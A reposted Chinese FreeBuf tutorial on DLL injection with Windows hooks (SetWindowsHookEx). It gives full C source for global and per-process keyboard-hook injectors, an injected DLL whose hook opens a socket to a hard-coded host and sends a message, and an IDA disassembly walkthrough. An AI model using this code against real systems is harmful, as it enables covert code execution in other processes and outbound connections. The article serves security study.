转载

DLL注入的几种姿势(一):Windows Hooks

DLL注入的目的是将代码放进另一个进程的地址空间中,所以要怎样才能实现DLL注入呢?

其实在Windows中有好几种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息。

Windows Hooks

首先我们需要理解Windows的hook机制和API函数SetWindowsHookEx。Hook 机制允许应用程序截获处理窗口消息或特定事件。而钩子又可以分为多种,例如WH_KEYBOARD和WH_MOUSE,这两种钩子可以分别用来监视键盘和鼠标的消息。同样也存在这些钩子的低版本。要想理解Hook机制,必须要清楚的是每一个Hook事件的发生都有一个与之相关联的指针列表,称之为Hook链表。这个链表存在一系列的子进程,并且伴随着事件而执行。

下面是Hook子程的语法,来源MSDN:

DLL注入的几种姿势(一):Windows Hooks

使用SetWindowsHookEx实现DLL注入

使用API函数SetWindowsHookEx()把一个应用程序定义的Hook子程安装到 Hook链表中。这是该函数的语法,来源MSDN:

DLL注入的几种姿势(一):Windows Hooks

idHook是Hook的类型,lpfn是Hook子程的地址指针,hMod是应用程序实例的句柄,最后dwThreadId标识当前进程创建的线程。为了要让lpfn指向子程,首先通过LoadLibrary函数加载DLL文件至exe文件的地址空间中。然后通过GetProcessAddress获得所需函数的地址。最后调用SetWindowsHookEx,等待我们设置好的事件发生或者创建一个类似BroadcastSystemMessage的消息服务。一旦事件发生,Windows将会加载DLL至目标进程的地址空间中。

代码

下面的代码来源这里,首先通过LoadLibrary函数将DLL加载至可执行程序中。调用GetProcessAddress函数从DLL中获取注入地址。最后设置一个全局钩子(参数设置为0表示监视全局线程),监视程序。

injector.c

#include <windows.h>  int main(int argc, char* argv) {     /*     Loads inject.dll into the address space of the calling function, in this case the running exe     */     HMODULE dll = LoadLibrary("inject.dll");     if(dll == NULL)     {         printf("Cannot find DLL");         getchar();         return -1;     }      /*     Gets the address of the inject method in the inject.dll     */     HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");     if(addr == NULL)     {         printf("Cannot find the function");         getchar();         return -1;     }      /*     Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address     */     HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);     if(handle == NULL)     {         printf("Couldn't hook the keyboard");     }      printf("Hooked the program, hit enter to exit");     getchar();     UnhookWindowsHookEx(handle);      return 0; }

injectShell.c

#include <stdio.h> #include <winsock2.h> #include <windows.h>  INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved) {     FILE *file;     fopen_s(&file, "C:/temp.txt", "a+");      switch(Reason)     {         case DLL_PROCESS_ATTACH:             fprintf(file, "DLL attach function called.n");             break;         case DLL_PROCESS_DETACH:             fprintf(file, "DLL detach function called.n");             break;         case DLL_THREAD_ATTACH:             fprintf(file, "DLL thread attach function called.n");             break;         case DLL_THREAD_DETACH:             fprintf(file, "DLL thread detach function called.n");             break;     }      fclose(file);      return TRUE; }   int inject(int code, WPARAM wParam, LPARAM lParam) {      WSADATA wsa;     SOCKET s;     struct sockaddr_in server;     char *message;      printf("/nInitializing Winsock...");     if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)     {         printf("Failed. Error Code : %d", WSAGetLastError());         return(CallNextHookEx(NULL, code, wParam, lParam));     }      printf("Initialized. /n");      if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)     {         printf("Could not create socket : %d", WSAGetLastError());     }      printf("Socket Created. /n");      server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address     server.sin_family = AF_INET;     server.sin_port = htons( 443 );      if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)     {         puts("connect error");         return(CallNextHookEx(NULL, code, wParam, lParam));     }      puts("Connected");      message = "Injected Shell";     if( send(s, message, strlen(message), 0) <0)     {         puts("Send failed");         return(CallNextHookEx(NULL, code, wParam, lParam));     }     puts("Data sent/n");      return(CallNextHookEx(NULL, code, wParam, lParam));  }

这里我们可以看到,该DLL文件连接其他主机。

DLL注入的几种姿势(一):Windows Hooks

接下来,DLL加载至另一个不同的进程中,成功!

DLL注入的几种姿势(一):Windows Hooks

尽管这段代码还存在问题,但我们设置的全局钩子意味着可以监视任何按键信息。换句话说我们最终可以注入一些预期之外的东西。幸运的是,可以注入至一个特定的进程中。还有另一个包含一些必要修改的版本。MSDN帮助我获得了一些我所需要的东西。这段代码向目标注入中增加了一些额外的步骤。首先,获得注入进程的id。通过这个获得这个进程的线程id,而SetWindowsHookEx 函数中的最后的一个参数就是线程的id。接着开始监视我们的进程,我们只需等待。

injector2.c

#include <windows.h> #include <stdio.h> #include <tchar.h> #include <psapi.h> #include <tlhelp32.h>  /* This method is used to get a thread id for a process.  It loops through all of the threads and compares their pid with the desired pid */ DWORD getThreadID(DWORD pid) {     puts("Getting Thread ID");     HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);     if(h != INVALID_HANDLE_VALUE)     {         THREADENTRY32 te;         te.dwSize = sizeof(te);         if( Thread32First(h, &te))         {             do             {                 if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))                 {                     if(te.th32OwnerProcessID == pid)                     {                         HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);                         if(!hThread)                         {                             puts("Couldn't get thread handle");                         }                         else                         {                             //DWORD tpid = GetProcessIdOfThread(hThread);                             //printf("Got one: %u/n", tpid);                             return te.th32ThreadID;                         }                     }                 }             } while( Thread32Next(h, &te));         }     }     CloseHandle(h);     return (DWORD)0; }  /* This method performs the actual injection. It gets an appropriate thread id, loads the dll,  gets the address of the inject method, then calls SetWindowsHookEx. */ int processInject(int pid) {     DWORD processID = (DWORD)pid;          TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");          HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);          if (NULL != hProcess)         {                 HMODULE hMod;                 DWORD cbNeeded;                  if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )                 {                         GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );                 }         }      _tprintf( TEXT("Injecting into process %s PID: %u/n"), szProcessName, processID);      DWORD threadID = getThreadID(processID);      printf( "Using Thread ID %u/n", threadID);      if(threadID == (DWORD)0)     {         puts("Cannot find thread");         return -1;     }      HMODULE dll = LoadLibrary("inject2.dll");     if(dll == NULL)     {         puts("Cannot find DLL");         return -1;     }      HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "test");     if(addr == NULL)     {         puts("Cannot find the function");         return -1;     }     //Uses the threadID from getThreadID to inject into specific process     HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);      if(handle == NULL)     {         puts("Couldn't hook the keyboard");     }     getchar();     getchar();     getchar();     UnhookWindowsHookEx(handle);     return 0; }  int main(int argc, char* argv) {      int pid;     puts("Inject into which PID?");         scanf ("%u",&pid);     printf("PID entered: %u/n", pid);     int result = processInject(pid);     if(result == -1)     {         puts("Could not inject");     }     else     {         puts("Injected!");     }     getchar(); }

test1.c

#include <stdio.h> #include <windows.h> int test() {     char str[80];     /*     Get's the current process id to display in the message box     */     int id = GetCurrentProcessId();     sprintf(str, "Hello, process: %d", id);     MessageBox(NULL, str, "Hello DLL!", MB_OK);     return 0; }

DLL注入的几种姿势(一):Windows Hooks

可以看到,这是从我们所选择的进程中运行的消息框。通过Process Explorer可以看到DLL同时加载到Notepad++和injector程序中,这个正是由于程序本身就加载了DLL文件。

DLL注入的几种姿势(一):Windows Hooks

尽管如此,监视进程还存在一定的局限性。一个进程必须存在消息循环并且确保能够接收消息,这样才能被监视到。这个主要限制了基于GUI的应用程序的目标。SetWindowsHookEx 同样不能具有更高完整性的进程中使用。

逆向代码

下面是IDA逆向第一个injector的代码。

DLL注入的几种姿势(一):Windows Hooks

上图虽然不是进程的整个流图,但是我们可以看到主要的SetWindowsHookEx部分。首先通过LoadLibraryA加载inject.dll。可以注意到,param1 在每个函数调用前被使用。将偏移地址保存在第一个参数所在的堆栈地址中。因此它获得注入函数(dllMethod)的地址,之后将DLL的句柄赋给param1,调用GetProcAddress。最后,加载SetWindowsHookEx的参数值,并调用函数。对比下第二个函数。

DLL注入的几种姿势(一):Windows Hooks

相比之下只有一个不同点,将threadID复制至寄存器中,之后再将其复制至第四个参数所在的堆栈地址中,再调用SetWindowsHookEx函数。是不是还不错?在下一篇将准备开写远程线程注入方法,期待吧!

参考资料

http://win32assembly.programminghorizon.com/tut24.html

https://www.daniweb.com/software-development/cpp/code/217096/keylogger-using-window-hooks

https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx

http://blogs.msdn.com/b/oldnewthing/archive/2006/02/23/537856.aspx

http://www.binarytides.com/winsock-socket-programming-tutorial/

http://resources.infosecinstitute.com/using-setwindowshookex-for-dll-injection-on-windows/

http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

https://github.com/malark3y/DLL-Injection

https://warroom.securestate.com/index.php/real-world-malware-analysis/

*老王隔壁的白帽子/编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/articles/system/93413.html
正文到此结束
Loading...